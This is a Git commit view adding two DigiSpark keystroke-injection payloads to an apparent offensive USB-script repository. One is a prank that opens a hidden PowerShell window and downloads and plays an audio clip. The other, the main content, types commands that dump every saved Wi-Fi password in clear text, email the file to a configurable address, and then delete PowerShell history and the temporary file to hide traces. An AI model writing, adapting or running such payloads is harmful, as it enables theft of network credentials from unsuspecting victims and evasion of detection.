Merge pull request #49 from apsecdev/master
Updated Wifi Profile Mailer script
This commit is contained in:
commit
6e770fe5d7
Binary file not shown.
|
@ -0,0 +1,31 @@
|
|||
//Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, and then
|
||||
//waits 5 minutes and plays it
|
||||
|
||||
#include "DigiKeyboard.h"
|
||||
void setup() {
|
||||
}
|
||||
|
||||
void loop() {
|
||||
DigiKeyboard.sendKeyStroke(0);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(F("powershell -NoP -Win H -Noni -Exec Bypass"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(F("start-sleep 300;"));
|
||||
DigiKeyboard.print(F("irm -uri \"https://github.com/apsecdev/DigiSpark-Scripts/blob/master/Hi_Chewy/Chewbacca.wav\" -OutFile \"$env:temp\\play.wav\";"));
|
||||
DigiKeyboard.print(F("Add-Type -AssemblyName presentationCore;"));
|
||||
DigiKeyboard.print(F("$filepath = [uri] \"$env:temp\\play.wav\";"));
|
||||
DigiKeyboard.print(F("$wmplayer = New-Object System.Windows.Media.MediaPlayer;"));
|
||||
DigiKeyboard.print(F("$wmplayer.Open($filepath);"));
|
||||
DigiKeyboard.print(F("Start-Sleep 2;"));
|
||||
DigiKeyboard.print(F("$duration = $wmplayer.NaturalDuration.TimeSpan.TotalSeconds;"));
|
||||
DigiKeyboard.print(F("$wmplayer.Play();"));
|
||||
DigiKeyboard.print(F("Start-Sleep $duration;"));
|
||||
DigiKeyboard.print(F("$wmplayer.Stop();"));
|
||||
DigiKeyboard.print(F("$wmplayer.Close();"));
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
for(;;){ /*empty*/ }
|
||||
}
|
|
@ -0,0 +1 @@
|
|||
Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, waits 5 minutes and then plays it.
|
|
@ -3,3 +3,6 @@ Use for Windows 7/8/8.1/Older Builds of Windows 10
|
|||
|
||||
### WiFi_Profile_Mailer_New.ino
|
||||
Use for newer builds of Windows 10
|
||||
|
||||
### WiFi_Profile_Mailer_Update.ino
|
||||
Use for newer builds of Windows 10 w/ debug mode & user variables
|
||||
|
|
|
@ -0,0 +1,99 @@
|
|||
//This DigiSpark script writes the wireless network credentials to a csv file and emails it.
|
||||
//Credits to p0wc0w.
|
||||
|
||||
//NOTE about the New Version of this script: The older script stopped working on newer builds of Windows 10
|
||||
//since Windows 10 now require an elevated cmd or powershell to execute these commands. This version should
|
||||
//be faster (better, stronger...) and should work on all builds of Windows 10. For previous versions
|
||||
//of Windows or simply older builds of Windows 10, the other version works like a charm.
|
||||
|
||||
//Update Notes:
|
||||
//As this is a longer script, powershell config has changed to lessen the on screen footprint.
|
||||
//Debug "mode" has been added for troubleshooting user settings
|
||||
//User Variables section added with comments
|
||||
//Cred handling moved to securestring as that seems to be more reliable with many smtp providers
|
||||
|
||||
//If you are using gmail, you MUST enable "Less Secure App Access" in your user account settings or this will fail.
|
||||
|
||||
#include "DigiKeyboard.h"
|
||||
void setup() {
|
||||
}
|
||||
|
||||
//uncomment to run live
|
||||
char mode[] = "powershell -nop -win h -noni -exec bypass";
|
||||
char separator[] = "exit";
|
||||
//end live
|
||||
|
||||
//uncomment to debug
|
||||
// char mode[] = "powershell -nop -exec bypass";
|
||||
// char separator[] = "read-host";
|
||||
// end debug
|
||||
|
||||
void loop() {
|
||||
DigiKeyboard.sendKeyStroke(0);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(mode);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(5000);
|
||||
|
||||
// User variables start
|
||||
|
||||
//from email address:
|
||||
DigiKeyboard.print(F("$email = \"YOUREMAIL@gmail.com\";"));
|
||||
//to email address
|
||||
DigiKeyboard.print(F("$addressee = \"TOEMAIL@DOMAIN.TLD\";"));
|
||||
//if you want to change the path of the temp csv file
|
||||
DigiKeyboard.print(F("$tempcsv = \"$env:userprofile\\temp.csv\";"));
|
||||
//'from address' email account password
|
||||
DigiKeyboard.print(F("$pass = \"YOUREMAIL_PASSWORD\";"));
|
||||
//smtp server
|
||||
DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";"));
|
||||
//smtp server port
|
||||
DigiKeyboard.print(F("$port = \"587\";"));
|
||||
|
||||
// User variables end
|
||||
|
||||
DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;"));
|
||||
DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;"));
|
||||
DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;"));
|
||||
DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);"));
|
||||
DigiKeyboard.print(F("$smtp.EnableSsl = $true;"));
|
||||
DigiKeyboard.print(F("$msg.From = \"$email\";"));
|
||||
DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");"));
|
||||
DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");"));
|
||||
DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;"));
|
||||
DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;"));
|
||||
DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;"));
|
||||
DigiKeyboard.print(F("$msg.Subject = \"Digi-WP-Mail Form\";"));
|
||||
DigiKeyboard.print(F("$msg.Body = \"<h2> CSV Wifi Profile Info </h2></br>See attached...\"; "));
|
||||
DigiKeyboard.print(F("$SMTP.Credentials = $cred;"));
|
||||
DigiKeyboard.print(F("$smtp.Send($msg);"));
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(separator);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(mode);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(F("rm \"$env:userprofile\\temp.csv\""));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(100);
|
||||
DigiKeyboard.print(separator);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
for(;;){ /*empty*/ }
|
||||
}
|
Loading…
Reference in New Issue